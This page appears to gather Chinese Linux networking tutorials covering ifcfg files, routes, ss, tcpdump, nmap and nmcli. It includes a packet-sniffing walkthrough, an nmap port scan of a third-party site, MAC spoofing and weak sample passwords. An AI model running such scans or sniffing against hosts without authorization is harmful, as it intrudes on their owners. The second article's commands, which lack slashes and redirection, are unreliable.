精华内容
下载资源
问答
  • Linux配置网络

    千次阅读 2019-05-16 01:53:05
    使用配置文件配置网络 1.配置文件存放位置 1.IP/NETMASK/GW/DNS等属性的配置文件:/etc/sysconfig/network-scripts/ifcfg-iface(网络设备对的接口名称) 2.路由的相关配置文件:/etc/sysconfig/network-scripts/...

    使用配置文件配置网络

    1.配置文件存放位置

    1.IP/NETMASK/GW/DNS等属性的配置文件:/etc/sysconfig/network-scripts/ifcfg-iface(网络设备对的接口名称)

    2.路由的相关配置文件:/etc/sysconfig/network-scripts/route-iface(若对应接口不存在,可自行创建)

    3.DNS配置文件:/etc/resolv.conf

    2.配置文件各条目含义

    1.含义

    1.DEVICE="ens33":此配置文件对应的设备名称
    
    2.NAME="ens33":设备名称(centos7中兼容的模式)
    
    3.ONBOOT="yes":在系统引导启动过程中,是否激活此接口
    
    4.UUID="088467d4-ad2a-442a-a6c8-8c3ad1f1a1dd":此设备的唯一标识(uuidgen可获取UUID)
    
    5.NETBOOT:是否支持网络引导
    
    6.IPV6INIT="yes":是否初始化ipv6
    
    7.BOOTPROTO="static":激活此接口时对应使用哪种协议来配置接口的属性,可用选项有dhcp(动态配置ip地址);bootp(自动分配);static(静态地址);none(不使用任何协议,静态地址)
    
    8.TYPE="Ethernet":接口类型,一般有Ethernet,Bridge
    
    9.DNS1:第一DNS服务器指向
    
    10.DNS2:备用DNS服务器指向
    
    11.DOMAIN:DNS搜索域
    
    12.IPADDR:IP地址
    
    13.NETMASK:掩码地址,Centos7支持使用PREFIX(PREFIX=24
    )以长度方式指明子网掩码
    
    14.GATEWAY:默认网关
    
    15.USERCTL:是否允许普通用户控制此设备
    
    16.PEERDNS:如果BOOTPROTO的值为“dhcp”,是否允许dhcp server分配的dns服务器指向覆盖本地手动指定的dns服务器指向,默认允许
    
    17.HWADDR=00:0C:29:EB:8B:6E
    :设备的MAC地址
    
    18.NM_CONTROLLLED:是否使用NetworkManager服务来控制接口(一般是使用network服务的)
    
    19.DEFROUTE:是否把当前网络设备设定为默认路由
    
    20.IPV4_FAILURE_FATAL=no:是否开启ipv4致命错误检测
    

    2.测试centos7配置网络
    1)更改配置文件

    [root@yuki ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens33 
    
    TYPE="Ethernet"
    PROXY_METHOD="none"
    BROWSER_ONLY="no"
    BOOTPROTO="static"  更改为静态配置iP
    DEFROUTE="yes"
    IPV4_FAILURE_FATAL="no"
    IPADDR=192.168.3.100  配置ip
    NETMASK=255.255.255.0  配置子网掩码
    GATEWAY=192.168.3.1    配置网关
    DNS1=114.114.114.114    配置DNS
    IPV6INIT="yes"
    IPV6_AUTOCONF="yes"
    IPV6_DEFROUTE="yes"
    IPV6_FAILURE_FATAL="no"
    IPV6_ADDR_GEN_MODE="stable-privacy"
    NAME="ens33"
    UUID="088467d4-ad2a-442a-a6c8-8c3ad1f1a1dd"
    DEVICE="ens33"
    ONBOOT="yes"         更改为开机启动
    

    2)保存配置文件后,重新启动网络服务

    [root@yuki ~]# systemctl restart network.service 
    [root@yuki ~]# systemctl status network.service
    ● network.service - LSB: Bring up/down networking
       Loaded: loaded (/etc/rc.d/init.d/network; bad; vendor preset: disabled)
       "Active: active (exited) since 三 2019-05-15 23:18:25 CST; 6s ago  确认已经启动"
         Docs: man:systemd-sysv-generator(8)
      Process: 3158 ExecStop=/etc/rc.d/init.d/network stop (code=exited, status=0/SUCCESS)
      Process: 3324 ExecStart=/etc/rc.d/init.d/network start (code=exited, status=0/SUCCESS)
    
    5月 15 23:18:25 yuki systemd[1]: Starting LSB: Bring up/down networking...
    5月 15 23:18:25 yuki network[3324]: Bringing up loopback interface:  [  OK  ]
    5月 15 23:18:25 yuki network[3324]: Bringing up interface ens33:  Connection successfully activated...n/6)
    5月 15 23:18:25 yuki network[3324]: [  OK  ]
    5月 15 23:18:25 yuki systemd[1]: Started LSB: Bring up/down networking.
    Hint: Some lines were ellipsized, use -l to show in full.
    

    3)测试是否配置成功

    已经可以ping通某度
    [root@yuki ~]# ping www.baidu.com
    PING www.a.shifen.com (119.75.213.50) 56(84) bytes of data.
    64 bytes from 119.75.213.50 (119.75.213.50): icmp_seq=1 ttl=54 time=20.7 ms
    64 bytes from 119.75.213.50 (119.75.213.50): icmp_seq=2 ttl=54 time=20.4 ms
    64 bytes from 119.75.213.50 (119.75.213.50): icmp_seq=3 ttl=54 time=20.1 ms
    

    3.测试centos6配置网络服务
    1)查看当前网卡

    [root@kasumi ~]# ip addr list
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
        inet6 ::1/128 scope host 
           valid_lft forever preferred_lft forever
    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
        link/ether 00:0c:29:eb:8b:6e brd ff:ff:ff:ff:ff:ff
        inet 192.168.40.130/24 brd 192.168.40.255 scope global eth0
        inet6 fe80::20c:29ff:feeb:8b6e/64 scope link 
           valid_lft forever preferred_lft forever
    3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
        link/ether 00:0c:29:eb:8b:78 brd ff:ff:ff:ff:ff:ff
        inet 192.168.40.131/24 brd 192.168.40.255 scope global eth1
        inet6 fe80::20c:29ff:feeb:8b78/64 scope link 
           valid_lft forever preferred_lft forever
    

    2)确认当前有eth0,eth1两块网卡,正在使用eth0网卡,现配置eth1网卡

    [root@kasumi ~]# cd /etc/sysconfig/network-scripts/
    [root@kasumi network-scripts]# cp ifcfg-eth0 ifcfg-eth1  为eth1复制一份配置文件
    [root@kasumi network-scripts]# vim ifcfg-eth1
    此为复制过来的eth0文件,对其作相应更改
    
    DEVICE=eth0   更改为eth1
    TYPE=Ethernet
    UUID=e5c4f00a-46f5-4a70-9263-5eabbcb00b5d  删除
    ONBOOT=yes
    NM_CONTROLLED=yes    更改为no,使用network管理网络服务
    BOOTPROTO=dhcp        改为静态
    HWADDR=00:0C:29:EB:8B:6E   删除eth0的MAC地址
    PREFIX=24                   删除
    DEFROUTE=yes
    IPV4_FAILURE_FATAL=yes     在此行下添加相关ip属性
    IPV6INIT=no
    NAME="System eth0"    删除name
    

    3)此为更改后的eth1配置文件

    DEVICE=eth1
    TYPE=Ethernet
    ONBOOT=yes
    NM_CONTROLLED=no
    BOOTPROTO=static
    DEFROUTE=yes
    IPV4_FAILURE_FATAL=yes
    IPADDR=192.168.40.131
    NETMASK=255.255.255.0
    GATEWAY=192.168.40.2
    DNS1=114.114.114.114
    IPV6INIT=no
    

    4)重新启动网络服务

    [root@kasumi ~]# service network restart
    
    Shutting down interface eth1:                              [  OK  ]  关闭eth1接口
    Shutting down loopback interface:                          [  OK  ]  关闭环回接口
    Bringing up loopback interface:                            [  OK  ]    弹出环回接口
    Bringing up interface eth0:                                [FAILED]   eth0激活失败
    Bringing up interface eth1:  Determining if ip address 192.168.40.131 is already in use for device eth1...        [  OK  ]   eth连接成功
    

    4.若两块网卡配置内网外网时,内网网关不可配置,否则两块网卡激活后,无法使用外网

    3.网络服务

    1.network,NetworkManager两种网络服务(一般只使用network服务即可)

    2.管理网络服务
    1)Centos 6:service network {start|stop|restart|status}

    2)Centos 7:systemctl {start|stop|restart|status} network.service

    3)配置文件文件如果修改或更改过网络属性时,若要立刻生效,需要重新启动网络服务

    1.Centos 6:service network restart
    2.Centos7:systemctl restart network.service
    

    4.用到非默认网关路由

    1.配置文件位置:/etc/sysconfig/network-scripts/route-iface
    支持两种方式,但不可以混合使用两种方式
    1)每行一个路由条目:ipaddr via GW;编辑配置文件后重启网络服务

    [root@yuki network-scripts]# vim route-ens33
    172.168.10.0/24 via 192.168.3.1
    10.0.0.0/24 via 192.168.3.1
    
    [root@yuki network-scripts]# systemctl restart network.service
    [root@yuki network-scripts]# ip route list 
    default via 192.168.3.1 dev ens33 proto static metric 100 
    "10.0.0.0/24 via 192.168.3.1 dev ens33 proto static metric 100"  确认添加完成
    "172.168.10.0/24 via 192.168.3.1 dev ens33 proto static metric 100 " 确认添加完成
    192.168.3.0/24 dev ens33 proto kernel scope link src 192.168.3.100 metric 100 
    192.168.122.0/24 dev virbr0 proto kernel scope link src 192.168.122.1 
    

    2)每三行一个路由条目:ADDRESS#=ipaddr;NETMASK#=MASK;
    GATEWAY#=NEXTHOP(网关)

    编辑配置文件
    [root@yuki network-scripts]# vim route-ens33
    ADDRESS0=170.60.0.0
    NETMASK0=255.255.255.0
    GATEWAY0=192.168.3.1
    
    [root@yuki network-scripts]# systemctl restart network.service
    [root@yuki network-scripts]# ip route list 
    default via 192.168.3.1 dev ens33 proto static metric 100 
    "170.60.0.0/24 via 192.168.3.1 dev ens33 proto static metric 100 " 确认添加完成
    192.168.3.0/24 dev ens33 proto kernel scope link src 192.168.3.100 metric 100 
    192.168.122.0/24 dev virbr0 proto kernel scope link src 192.168.122.1 
    

    5.给接口配置多个地址

    1.ip addr add或ifconfig或者配置文件都可以实现
    1) ifconfig添加

    [root@yuki network-scripts]# ifconfig ens33:1 172.168.60.3
    [root@yuki network-scripts]# ifconfig ens33:1
    ens33:1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
            inet 172.168.60.3  netmask 255.255.0.0  broadcast 172.168.255.255
            ether 00:0c:29:dc:f6:82  txqueuelen 1000  (Ethernet)
    

    2)ip addr添加

    [root@yuki network-scripts]# ip addr add 10.0.0.20/24 dev ens33 label ens33:2
    [root@yuki network-scripts]# ip addr list ens33:2
    2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
        link/ether 00:0c:29:dc:f6:82 brd ff:ff:ff:ff:ff:ff
        inet 192.168.3.100/24 brd 192.168.3.255 scope global ens33
           valid_lft forever preferred_lft forever
        inet 172.168.60.3/16 brd 172.168.255.255 scope global ens33:1
           valid_lft forever preferred_lft forever
        "inet 10.0.0.20/24 scope global ens33:2" 添加成功
           valid_lft forever preferred_lft forever
        inet6 fe80::fe2c:bf2e:9596:6968/64 scope link 
           valid_lft forever preferred_lft forever
    

    3)为别名添加配置文件:DEVICE=IFACE_LABEL
    ps:BOOTPROTO:网上别名不支持动态获取地址(static, none)

    [root@yuki network-scripts]# cp ifcfg-ens33 ifcfg-ens33:3
    [root@yuki network-scripts]# vim ifcfg-ens33:3
    TYPE="Ethernet"
    PROXY_METHOD="none"
    BROWSER_ONLY="no"
    BOOTPROTO="static"
    DEFROUTE="yes"
    IPV4_FAILURE_FATAL="no"
    IPADDR=10.20.0.33  更改地址
    NETMASK=255.255.255.0
    DNS1=114.114.114.114
    IPV6INIT="yes"
    IPV6_AUTOCONF="yes"
    IPV6_DEFROUTE="yes"
    IPV6_FAILURE_FATAL="no"
    IPV6_ADDR_GEN_MODE="stable-privacy"
    DEVICE="ens33:3"  更改别名
    ONBOOT="yes"
    
    [root@yuki network-scripts]# systemctl restart network
    [root@yuki network-scripts]# ip addr list ens33:3
    2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
        link/ether 00:0c:29:dc:f6:82 brd ff:ff:ff:ff:ff:ff
        inet 192.168.3.100/24 brd 192.168.3.255 scope global ens33
           valid_lft forever preferred_lft forever
        "inet 10.20.0.33/24 brd 10.20.0.255 scope global ens33:3" 确认添加成功
           valid_lft forever preferred_lft forever
        inet6 fe80::fe2c:bf2e:9596:6968/64 scope link 
           valid_lft forever preferred_lft forever
    

    6.使用命令配置网络

    1.Centos6:使用setup或system-config-network命令
    1)setup命令
    在这里插入图片描述
    2)system-config-network命令
    在这里插入图片描述

    2.Centos7:使用nmtui
    1)使用nmtui可以实现,编辑连接,启用网络设备,设置系统主机名的功能
    在这里插入图片描述
    编辑好连接后返回主界面启用即可
    在这里插入图片描述

    7.ss命令

    1.语法: [options] [ FILTER ]
    1)-t:TCP协议的相关连接

    2)-u:UDP相关的连接

    3)-w:raw socket(裸套接字)相关的连接

    4)-l:监听状态的连接

    5)-a:所有状态的连接

    6)-n:数字格式

    7)-p:相关的程序及其PID

    8)-e:扩展格式信息

    9)-m:内存用量

    10)-o:计时器信息

    2.FILTER:[state TCP-STATE] [EXPRESSION]
    1)TCP的常见状态

    TCP FSM(TCP状态机):
    1.LISTEN:监听
    2.ESTABLISEHD:建立的连接
    3.FIN_WAIT_1:准备断开连接
    4.FIN_WAIT_2:等待确认
    5.SYN_SENT:
    6.SYN_RECV:
    7.CLOSED:
    

    2)EXPRESSION:dport=目标端口;sport:源端口

    目标端口或源端口为22的连接
    [root@kasumi network-scripts]# ss -tan '( dport = :22 or sport = :22 )'
    State      Recv-Q Send-Q        Local Address:Port                       Peer Address:Port              
    LISTEN     0      128                       *:22                                    *:*                  
    ESTAB      0      36            192.168.3.128:22                          192.168.3.1:6358               
    LISTEN     0      128                      :::22                                   :::*       
    
    列出状态为已建立的tcp连接
    [root@kasumi network-scripts]#  ss  -tan  state  ESTABLISHED
    Recv-Q Send-Q             Local Address:Port                            Peer Address:Port              
    0      36                 192.168.3.128:22                               192.168.3.1:6358     
    

    8.tcpdump命令

    1.tcpdump:是一款sniffer工具,它可以打印所有经过网络接口的数据包的头信息,也可以使用-w选项将数据包保存到文件中,方便以后分析。
    1)直接启动tcpdump将监视第一个网络接口上的所有流过的数据包

    [root@yuki ~]# tcpdump
    tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
    listening on virbr0, link-type EN10MB (Ethernet), capture size 262144 bytes
    
    ^C
    0 packets captured
    0 packets received by filter
    0 packets dropped by kernel
    

    2)监视指定主机的数据包:如果不指定网卡,默认tcpdump只会监视第一个网络接口

    [root@yuki ~]# tcpdump -i ens33
    tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
    listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
    16:32:37.981952 IP yuki.ssh > 192.168.3.19.9327: Flags [P.], seq 130014081:130014269, ack 638153217, win 252, length 188
    16:32:37.982085 IP 192.168.3.19.9327 > yuki.ssh: Flags [.], ack 188, win 8208, length 0
    16:32:37.982585 IP yuki.41314 > public1.114dns.com.domain: 17528+ PTR? 19.3.168.192.in-addr.arpa. (43)
    16:32:44.681740 IP dns145.online.tj.cn.9027 > 192.168.3.19.61062: UDP, length 44
    ^C16:32:44.738645 IP 192.168.3.19.13686 > 101.227.169.46.https: Flags [P.], seq 267367501:267367553, ack 3608896629, win 1021, length 52
    
    328 packets captured
    425 packets received by filter
    35 packets dropped by kernel
    

    3)监视指定主机的数据包:打印所有进入或离开yuki主机的数据包,也可以指定IP

    [root@yuki ~]# tcpdump host yuki
    tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
    listening on virbr0, link-type EN10MB (Ethernet), capture size 262144 bytes
    ^C
    0 packets captured
    0 packets received by filter
    0 packets dropped by kernel
    

    4)截获主机192.168.3.100和主机192.168.3.101或192.168.3.102间的通信

    tcpdump host 192.168.3.100 and \( 192.168.3.101 or 192.168.3.102 \)
    

    5)获取主机192.168.3.100和除了主机192.168.3.101之外所有的主机通信的ip包

    tcpdump ip host 192.168.3.100 and ! 192.168.3.101
    

    6)截获主机hostname发送的所有数据

    tcpdump -i eth0 src host yuki
    

    7)监视所有送到主机hostname的数据包

    tcpdump -i eth0 dst host yuki
    

    8)监视指定主机和端口的数据包

    tcpdump tcp port 23 host 192.168.3.100
    

    2.选项

    -a:尝试将网络和广播地址转换成名称;
    -c<数据包数目>:收到指定的数据包数目后,就停止进行倾倒操作;
    -d:把编译过的数据包编码转换成可阅读的格式,并倾倒到标准输出;
    -dd:把编译过的数据包编码转换成C语言的格式,并倾倒到标准输出;
    -ddd:把编译过的数据包编码转换成十进制数字的格式,并倾倒到标准输出;
    -e:在每列倾倒资料上显示连接层级的文件头;
    -f:用数字显示网际网络地址;
    -F<表达文件>:指定内含表达方式的文件;
    -i<网络界面>:使用指定的网络截面送出数据包;
    -l:使用标准输出列的缓冲区;
    -n:不把主机的网络地址转换成名字;
    -N:不列出域名;
    -O:不将数据包编码最佳化;
    -p:不让网络界面进入混杂模式;
    -q :快速输出,仅列出少数的传输协议信息;
    -r<数据包文件>:从指定的文件读取数据包数据;
    -s<数据包大小>:设置每个数据包的大小;
    -S:用绝对而非相对数值列出TCP关联数;
    -t:在每列倾倒资料上不显示时间戳记;
    -tt: 在每列倾倒资料上显示未经格式化的时间戳记;
    -T<数据包类型>:强制将表达方式所指定的数据包转译成设置的数据包类型;
    -v:详细显示指令执行过程;
    -vv:更详细显示指令执行过程;
    -x:用十六进制字码列出数据包资料;
    -w<数据包文件>:把数据包数据写入指定的文件。
    

    9.nmap命令

    1.nmap:是一款开放源代码的网络探测和安全审核工具,目标是为了实现快速的扫描大型网络

    2.语法:nmap(选项)(参数)
    1)参数:ip地址,指定待扫描报文中的TCP地址

    3.使用nmap扫描某度的开放端口
    1)安装nmap

    [root@yuki ~]# yum install nmap
    [root@yuki ~]# rpm -q nmap
    nmap-6.40-16.el7.x86_64
    

    2)nmap www.baidu.com进行扫描

    [root@yuki ~]# nmap www.baidu.com
    
    Starting Nmap 6.40 ( http://nmap.org ) at 2019-05-16 16:52 CST
    Nmap scan report for www.baidu.com (119.75.213.51)
    Host is up (0.020s latency).
    Other addresses for www.baidu.com (not scanned): 119.75.213.50
    Not shown: 998 filtered ports
    PORT    STATE SERVICE
    80/tcp  open  http
    443/tcp open  https
    
    Nmap done: 1 IP address (1 host up) scanned in 4.80 seconds
    

    3.相关选项

    -O:激活操作探测;
    -P0:值进行扫描,不ping主机;
    -PT:是同TCP的ping;
    -sV:探测服务版本信息;
    -sP:ping扫描,仅发现目标主机是否存活;
    -ps:发送同步(SYN)报文;
    -PU:发送udp ping;
    -PE:强制执行直接的ICMPping;
    -PB:默认模式,可以使用ICMPping和TCPping;
    -6:使用IPv6地址;
    -v:得到更多选项信息;
    -d:增加调试信息地输出;
    -oN:以人们可阅读的格式输出;
    -oX:以xml格式向指定文件输出信息;
    -oM:以机器可阅读的格式输出;
    -A:使用所有高级扫描选项;
    --resume:继续上次执行完的扫描;
    -P:指定要扫描的端口,可以是一个单独的端口,用逗号隔开多个端口,使用“-”表示端口范围;
    -e:在多网络接口Linux系统中,指定扫描使用的网络接口;
    -g:将指定的端口作为源端口进行扫描;
    --ttl:指定发送的扫描报文的生存期;
    --packet-trace:显示扫描过程中收发报文统计;
    --scanflags:设置在扫描报文中的TCP标志。
    

    10.nmcli命令(centos 7)

    1.语法:nmcli [ OPTIONS ] OBJECT { COMMAND | help }
    1)OBJECT:{help | general | networking | radio | connection | device | agent | monitor}

    2.子命令device:show and manage network interfaces,显示或管理网络接口
    1)COMMAND := { show | up | down | add | edit | modify | delete | reload | load }

    2)show:显示接口信息

    [root@kasumi ~]# nmcli device show
    GENERAL.设备:                           virbr0
    GENERAL.类型:                           bridge
    GENERAL.硬盘:                           52:54:00:7C:4F:5F
    GENERAL.MTU:                            1500
    GENERAL.状态:                           100 (连接的)
    GENERAL.连接:                           virbr0
    GENERAL.连接路径:                       /org/freedesktop/NetworkManager/ActiveConnection/3
    IP4.地址[1]:                            192.168.122.1/24
    IP4.网关:                               --
    IP6.网关:                               --
    
    GENERAL.设备:                           ens37
    GENERAL.类型:                           ethernet
    GENERAL.硬盘:                           00:0C:29:FA:98:55
    GENERAL.MTU:                            1500
    GENERAL.状态:                           100 (连接的)
    GENERAL.连接:                           ens37
    GENERAL.连接路径:                       /org/freedesktop/NetworkManager/ActiveConnection/2
    WIRED-PROPERTIES.载波:                  开
    IP4.地址[1]:                            192.168.3.51/24
    IP4.网关:                               192.168.3.1
    IP4.DNS[1]:                             114.114.114.114
    IP6.地址[1]:                            fe80::3498:5566:1ab2:e620/64
    IP6.网关:                               --
    
    GENERAL.设备:                           ens33
    GENERAL.类型:                           ethernet
    GENERAL.硬盘:                           00:0C:29:FA:98:4B
    GENERAL.MTU:                            1500
    GENERAL.状态:                           10 (未托管)
    GENERAL.连接:                           --
    GENERAL.连接路径:                       --
    WIRED-PROPERTIES.载波:                  开
    IP4.地址[1]:                            192.168.3.128/24
    IP4.网关:                               --
    IP4.路由[1]:                            dst = 169.254.0.0/16, nh = 0.0.0.0, mt = 1002
    IP6.地址[1]:                            fe80::20c:29ff:fefa:984b/64
    IP6.网关:                               --
    
    GENERAL.设备:                           lo
    GENERAL.类型:                           loopback
    GENERAL.硬盘:                           00:00:00:00:00:00
    GENERAL.MTU:                            65536
    GENERAL.状态:                           10 (未托管)
    GENERAL.连接:                           --
    GENERAL.连接路径:                       --
    IP4.地址[1]:                            127.0.0.1/8
    IP4.网关:                               --
    IP6.地址[1]:                            ::1/128
    IP6.网关:                               --
    

    3)status:显示状态信息

    [root@kasumi ~]# nmcli device status
    设备        类型      状态    连接   
    virbr0      bridge    连接的  virbr0 
    ens37       ethernet  连接的  ens37  
    ens33       ethernet  未托管  --     
    lo          loopback  未托管  --     
    virbr0-nic  tun       未托管  --     
    

    4)disconnect:断开连接

    [root@kasumi ~]# nmcli device disconnect ens37
    成功断开设备 'ens37'[root@kasumi ~]# nmcli device status
    设备        类型      状态    连接   
    virbr0      bridge    连接的  virbr0 
    ens37       ethernet  已断开  --     
    ens33       ethernet  未托管  --     
    lo          loopback  未托管  --     
    virbr0-nic  tun       未托管  --     
    

    5)connect:连接接口

    [root@kasumi ~]# nmcli device connect ens37
    成功用 'ens37' 激活了设备 '4a5516a4-dfa4-24af-b1c4-e843e312e2fd'[root@kasumi ~]# nmcli device status
    '设备        类型      状态    连接   
    virbr0      bridge    连接的  virbr0 
    ens37       ethernet  连接的  ens37  
    ens33       ethernet  未托管  --     
    lo          loopback  未托管  --     
    virbr0-nic  tun       未托管  --     
    

    3.子命令connection - start, stop, and manage network connections:管理网络连接
    1)COMMAND := { show | up | down | add | edit | modify | delete | reload | load }

    2)show:显示连接信息

    [root@kasumi ~]# nmcli connection show
    名称    UUID                                  类型            设备   
    ens37   4a5516a4-dfa4-24af-b1c4-e843e312e2fd  802-3-ethernet  ens37  
    virbr0  2334c8fd-6e5a-4e2a-9b4a-0f9f52301d18  bridge          virbr0 
    

    3)modify:修改IP地址属性

    [root@kasumi ~]# nmcli connection modify ens37 +ipv4.addresses 192.168.3.60/24
    [root@kasumi ~]# nmcli connection down ens37
    成功取消激活连接 'ens37'(D-Bus 活动路径:/org/freedesktop/NetworkManager/ActiveConnection/6)
    
    [root@kasumi ~]# nmcli connection up ens37
    连接已成功激活(D-Bus 活动路径:/org/freedesktop/NetworkManager/ActiveConnection/7)
    [root@kasumi ~]# nmcli device show ens37
    GENERAL.设备:                           ens37
    GENERAL.类型:                           ethernet
    GENERAL.硬盘:                           00:0C:29:FA:98:55
    GENERAL.MTU:                            1500
    GENERAL.状态:                           100 (连接的)
    GENERAL.连接:                           ens37
    GENERAL.连接路径:                       /org/freedesktop/NetworkManager/ActiveConnection/7
    WIRED-PROPERTIES.载波:                  开
    IP4.地址[1]:                            192.168.3.51/24
    IP4.地址[2]:                            192.168.3.60/24
    IP4.网关:                               192.168.3.1
    IP4.DNS[1]:                             114.114.114.114
    IP6.地址[1]:                            fe80::3498:5566:1ab2:e620/64
    IP6.网关:                               --
    

    ps:添加完IP需down掉接口,重新连接才会显示

    4)修改相关属性

    1.实现语法:nmcli  conn  modify  IFACE  [+|-]setting.property  value
    2.ipv4.address
    3.ipv4.gateway
    4.ipv4.dns1
    5.ipv4.method(静态指定为manual)
    
    展开全文
  • linux配置网络

    千次阅读 2012-07-11 15:42:55
    1. ifconfig查看网络接口的信息。普通用户使用ifconfig的全路径:/sbin/ifconfig ifconfig 网络接口名称:显示指定接口的详细信息。 ifconfig -a 查看所有网络接口的信息。 2. route 显示路由表 route | grep ...

    1. ifconfig查看网络接口的信息。普通用户使用ifconfig的全路径:/sbin/ifconfig

    ifconfig 网络接口名称:显示指定接口的详细信息。

    ifconfig -a 查看所有网络接口的信息。

    2. route 显示路由表

    route | grep default 显示主机的默认网关。

    3.ping -c 4 192.168.1.10 发送指定数量的数据包进行网络连接测试。

    4.traceroute 192.168.1.10 测试与其他主机的网络连接路径。

    5.hostname 显示当前主机名称。

    二、使用命令进行网络设置

    1.dhclient 从DHCP服务器中申请新的网络设置。

    2.ifconfig 网络接口 ip地址 netmask 子网掩码:配置ip地址,ifconfig命令设置的网络接口属性只在当前系统运行中有效,系统重新启动后将按照网络接口配置文件的内容重新配置网络接口属性。

    3.route del default gw 默认网关地址:删除默认网关路由记录。

    route add default gw 默认网关地址:添加默认网关。

    4.hostname Linserver :设置主机名称是即时生效的,重启后将恢复原有主机名。

    5. 在 nslookup命令的交互模式中使用 server命令可以显示 linux系统中使用的 DNS 服务器地址。

    6.netconfig :字符界面进行网络配置。

    service network restart :重启网络服务。

    ifdown 网络接口

    ifup 网络接口:重启网络接口

    7.修改 mac地址:

    ifconfig eth0 down :先禁用网卡

    ifconfig eth0 hw ether 1234567890ab

    永远保持这样:

    在/etc/rc.d/rc.local里加上这三句(也可以在/etc/init.d/network里加下面三行)

    ifconfig eth0 down

    ifconfig eth0 hw ether 1234567890ab

    ifconfig eht0 up

    三、修改配置文件进行网络配置

    1.网络接口配置文件: /etc/sysconfig/network-scripts/ifcfg-eth0

    /etc/sysconfig/network-scripts/ifcfg-lo

    “ifcfg-eth0”配置文件中设置静态IP地址内容如下:

    DEVICE=eth0 设置网络接口名称

    ONBOOT=yes 设置网络接口在系统启动时激活。

    BOOTPROTO=static 配置为静态地址

    IPADDR=192.168.1.10

    NETMASK=255.255.255.0

    GATEWAY=192.168.1.1 网络接口的默认网关

    使用DHCP方式获得网络配置内容:

    DEVICE=eth0

    ONBOOT=yes

    BOOTPROTO=dhcp

    2.主机名配置文件 /etc/sysconfig/network

    NETWORKING=yes

    HOSTNAME=Linserver Linserver 为设置的主机名称。

    3.本地主机名称解析文件 /etc/hosts

    4.域名服务器配置文件 /etc/resolv.conf

    search lingdian.com 设置主机的默认查找域名

    nameserver 192.168.152.2 设置 DNS服务器的IP 地址,文件中最多可以有3 个“nameserver”配置记录,每个记录一行,系统会优先使用最上面的“nameserver”配置记录

    linux的基本网络配置命令

    1、查看IP:Ifconfig

    2、配置IP的方法:

    A、这种方法立即生效,但是重启将不会保存。(除了这个方法的其它方法都可以保存下来)

    Ifconfig eth0 1.1.1.1 netmask 255.0.0.0 up

    Ifconfig eth01 1.1.1.3 up 设置一个网卡多个IP的方法(在设置虚拟主机时有用到)

    激活网卡:Ifconfig eth0 up

    关闭网卡:Ifconfig eth0 down

    动态获取IP:Ifconfig etho –dynamic

    Dhclient

    修改Mac值:先关闭网卡:Ifconfig eth0 down

    再修改MAC值:Ifconfig eth0 hw ether 112233445566

    再激活网卡:Ifconfig eth0 up

    B、Netconfig或者Setup,但只能设置Eth0网卡

    C、Neat:打开图形窗口进行设置

    D、配置文件设置:

    vi etcsysconfignetwork-scriptsifcfg-eth0

    注意:配置完后重启网卡Service network restart出现失败时,用第四种方法检查配置文件中的Bootup是否为None,如果是DHCP一般会出错的。

    3、配置网关:

    查看网关:route

    添加默认路由:

    route add –net 0.0.0.0 netmask 0.0.0.0 gw 192.168.0.1

    删除默认路由:

    route del –net 0.0.0.0 netmask 0.0.0.0 gw 192.168.0.1

    4、配置dns:

    echo nameserver 192.168.0.1etcresolv.conf

    Linux路由配置:

    1、首先开启路由功能

    echo 1 procsysnetipv4ip_forward (1为打开路由功能,0为关闭路由功能)

    (在这个实验里只要开启路由功能就OK了)

    2、其它路由设置:

    A、添加路由信息:

    route add –net 10.0.0.1 netmask 255.0.0.0 gw 192.168.0.1

    或者route add –net 10.0.0.1 netmask 255.0.0.0 dev eth0 (通过本机的第一个网卡出去)

    删除路由条目:只要把上面的Add改为Del就可以了

    B、用Zebra配置路由(配置就跟Cisco的是一样的命令):

    1)设置登录密码:

    Vi etczebrazebra.conf

    password abc #设置连接时的密码

    enable password 123 #设置特权密码

    2)开启服务

    service zebra start

    3)建立要配置的路由协议文件

    如用Rip协议:touch etczebraripd.conf

    4)开启Rip协议:service ripd start

    5)进入Zebra: 

    方法一、Telnet 127.0.0.1 2601   ##记得端口是2601

    如果没有设置密码,默认情况下是不允许连接的,适合于远程登录

    方法二、Vtysh    ##不用密码也可以进入,如果有密码还会显示出来,但只适用于本地登录。

    6)配置路由:就跟在Cisco路由器里是一样的就略了7)退出quit(退出之前记得先保存一下)

    展开全文
  • Linux配置网络详细笔记

    千次阅读 多人点赞 2021-04-17 10:44:14
    文章目录一、Linux处理数据包的过程二、Centos网络配置1. 网卡命名配置文件2.了解命令1.查看网卡相关命令2. 网卡驱动相关3.查看双工和速度命令4.服务器如何判断网线是否连接正常5.调整客户端的动态端口范围6.nc工具7...


    参考 《Linux云计算运维》-马哥教育·王晓春
    在这里插入图片描述

    一、Linux处理数据包的过程

    当Linux向外界主机发送数据时,在它从网卡流入后需要对它做路由策略,根据其目标决定是流入本机数据还是转发给其他主机

    • 1.如果是流入本机的数据,则数据会从内核空间进入用户空间(被应用程序接受、处理)。当用户空间响应(应用程序生成新的数据包)时,响应数据包是本机产生的新数据,在响应包流出之前,需要做路由决策,根据目标决定从哪个网卡流出。
    • 2.如果不是流入本机的,而是要转发给其他主机的,则必然涉及到另一个流出网卡,此时数据包必须从流入网卡完整的转发给流出网卡,这要求Linux主机能够完成这样的转发。

    Linux主机和路由器不同,路由器本身就是为了转发数据包,所以路由器内部默认就能在不同网卡间转发数据包,而Linux主机默认未开启ip_forward功能,所以Linux默认不能转发,这使得待转发数据包会被丢弃。
    在这里插入图片描述
